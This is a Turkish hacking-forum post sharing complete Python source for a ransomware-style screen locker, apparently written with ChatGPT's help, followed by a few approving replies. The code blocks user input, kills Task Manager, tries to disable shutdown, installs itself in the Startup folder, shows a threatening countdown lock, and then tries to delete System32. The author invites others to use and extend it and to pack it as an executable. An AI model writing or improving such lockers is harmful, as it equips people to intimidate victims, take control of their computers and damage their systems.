Open Source Python Fidye Yazılım Tarzı Uygulama

Merhabalar Ben Rhanta
Bu Gün Sizlere 3 Gündür Çalıştığım Projeyi Sunucam
Bunun için ChatGPT den Yardım Almak Zorunda Kaldım Lütfen Maruz Görün
Tam Bir Fidye Yazılımı Olmasada Benzetmeye Çalıştım Kodda Dosya Şifreleme Falan Yok
Onu Ekleyemedim Fakat Bilgisayarı Kapatmayı , Task Manageri , Alt + f4 Tarzı Kısa Yolları Engelledim

Kodu Geliştirip Paylaşabilirsiniz İznim Vardır

Bu Kodu Exe Yaptım Fakat Obf Basmicam Sizde Kullanın
Dosyanın Boyutu 38.6 mb Oldu Siz Sıkıştırıp Halledersiniz


Kullanmak İçin İndirmeniz Gereken Kütüphaneler
- PyQt5
- pysutil
- winshell
- py32win

Hepsini Tek Seferde İndirmek için
pip install PyQt5 psutil winshell pywin32


Uygulama'nın Görüntüsü




Kod Hali

Python:
from PyQt5.QtWidgets import QApplication, QMainWindow, QLabel, QLineEdit, QVBoxLayout, QWidget
from PyQt5.QtCore import QTimer, Qt
from PyQt5.QtGui import QFont
import os
import psutil
import ctypes
import sys
import getpass
import subprocess
# Rhanta
class LockApp(QMainWindow):
    def __init__(self):
        super().__init__()
        self.initUI()
        self.k = False
        self.colors = ["#0000FF", "#FF0000", "#00FF00"]
        self.current_color_index = 0
        self.start_timers()
        self.time_limit = 5 * 60
        self.remaining_time = self.time_limit
        self.timeout_timer = QTimer(self)
        self.timeout_timer.timeout.connect(self.update_countdown)
        self.timeout_timer.start(1000)
        ctypes.windll.user32.BlockInput(True)
# Rhanta
    def initUI(self):
        self.setWindowTitle("Bilgisayar Kilitlendi - Kolay Gelsin!")
        self.setGeometry(0, 0, 800, 600)
        self.setWindowFlag(Qt.FramelessWindowHint)
        self.setWindowFlag(Qt.WindowStaysOnTopHint)
        self.showFullScreen()
        font = QFont("Arial", 20)
        self.lock_message = QLabel("BİLGİSAYARINIZ ŞUAN KİTLENMİŞTİR", self)
        self.lock_message.setFont(QFont("Arial", 40, QFont.Bold))
        self.lock_message.setStyleSheet("color: red;")
        self.lock_message.setAlignment(Qt.AlignCenter)
        self.warning_message = QLabel("Doğru şifreyi 5 dakika içinde girmezseniz System32 klasörünüz SİLİNECEK!", self)
        self.warning_message.setFont(QFont("Arial", 25))
        self.warning_message.setStyleSheet("color: orange;")
        self.warning_message.setAlignment(Qt.AlignCenter)
        self.label1 = QLabel("Doğru Şifreyi Girin ve Enter'a Basın", self)
        self.label1.setFont(font)
        self.label1.setAlignment(Qt.AlignCenter)
        self.entry = QLineEdit(self)
        self.entry.setEchoMode(QLineEdit.Password)
        self.entry.setFont(font)
        self.entry.returnPressed.connect(self.check_password)
        self.countdown_label = QLabel("", self)
        self.countdown_label.setFont(QFont("Arial", 25))
        self.countdown_label.setAlignment(Qt.AlignCenter)
        layout = QVBoxLayout()
        layout.addWidget(self.lock_message)
        layout.addWidget(self.warning_message)
        layout.addWidget(self.label1)
        layout.addWidget(self.entry)
        layout.addWidget(self.countdown_label)
        central_widget = QWidget()
        central_widget.setLayout(layout)
        self.setCentralWidget(central_widget)
        self.focus_timer = QTimer(self)
        self.focus_timer.timeout.connect(self.ensure_focus)
        self.focus_timer.start(500)
# Rhanta
    def start_timers(self):
        self.change_color_timer = QTimer(self)
        self.change_color_timer.timeout.connect(self.change_color)
        self.change_color_timer.start(1000)
        self.task_manager_timer = QTimer(self)
        self.task_manager_timer.timeout.connect(self.block_task_manager)
        self.task_manager_timer.start(1000)

    def change_color(self):
        self.current_color_index = (self.current_color_index + 1) % len(self.colors)
        self.setStyleSheet(f"background-color: {self.colors[self.current_color_index]};")

    def block_task_manager(self):
        for proc in psutil.process_iter(['pid', 'name']):
            if proc.info['name'].lower() == "taskmgr.exe":
                proc.kill()

    def check_password(self):
        if self.entry.text() == "Rhanta":
            self.k = True
            ctypes.windll.user32.BlockInput(False)
            self.close()
        else:
            self.entry.clear()

    def update_countdown(self):
        if self.remaining_time > 0:
            self.remaining_time -= 1
            minutes = self.remaining_time // 60
            seconds = self.remaining_time % 60
            self.countdown_label.setText(f"Kalan Süre: {minutes:02d}:{seconds:02d}")
        else:
            self.delete_target_file()

    def delete_target_file(self):
        target_file = "C:\\Windows\\System32"
        try:
            if os.path.exists(target_file):
                os.remove(target_file)
                print(f"Belirtilen dosya silindi: {target_file}")
            else:
                print(f"Dosya bulunamadı: {target_file}")
        except Exception as e:
            print(f"Dosya silme hatası: {target_file}. Hata: {e}")
        self.close()

    def ensure_focus(self):
        if not self.isActiveWindow():
            self.activateWindow()
            self.raise_()
            self.setFocus()

    def closeEvent(self, event):
        if not self.k:
            event.ignore()

def disable_shutdown_restart():
    try:
        os.system("sc config shutdown start= disabled")
        print("Bilgisayarın kapanması ve yeniden başlatılması devre dışı bırakıldı.")
    except Exception as e:
        print(f"Kapanma devre dışı bırakma hatası: {e}")
# Rhanta
def add_to_startup():
    username = getpass.getuser()
    startup_path = f"C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
    script_path = os.path.abspath(sys.argv[0])
    shortcut_path = os.path.join(startup_path, "LockApp.lnk")
    if not os.path.exists(shortcut_path):
        import winshell
        from win32com.client import Dispatch
        shell = Dispatch('WScript.Shell')
        shortcut = shell.CreateShortcut(shortcut_path)
        shortcut.TargetPath = script_path
        shortcut.WorkingDirectory = os.path.dirname(script_path)
        shortcut.save()
# Rhanta
if __name__ == "__main__":
    disable_shutdown_restart()
    add_to_startup()
    app = QApplication([])
    lock_app = LockApp()
    app.exec_()
# Rhanta


ChatGPT elbette kullanacaksın forumdaki bazı kişiler saçma sapan yazıyor yok GPT yazmış falan diye de hamallık etmeye gerek yok. Eline sağlık.
 
Ctrl + Alt + Del olayını engelleyebildin mi? Buna benzer bir uygulama görmüştüm python ile onda maalesef atlatılıyordu ondan sordum?
 
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
Eline sağlık güzel görünüyor.
 

  Şuanda konuyu görüntüleyen kullanıcılar


Üst Alt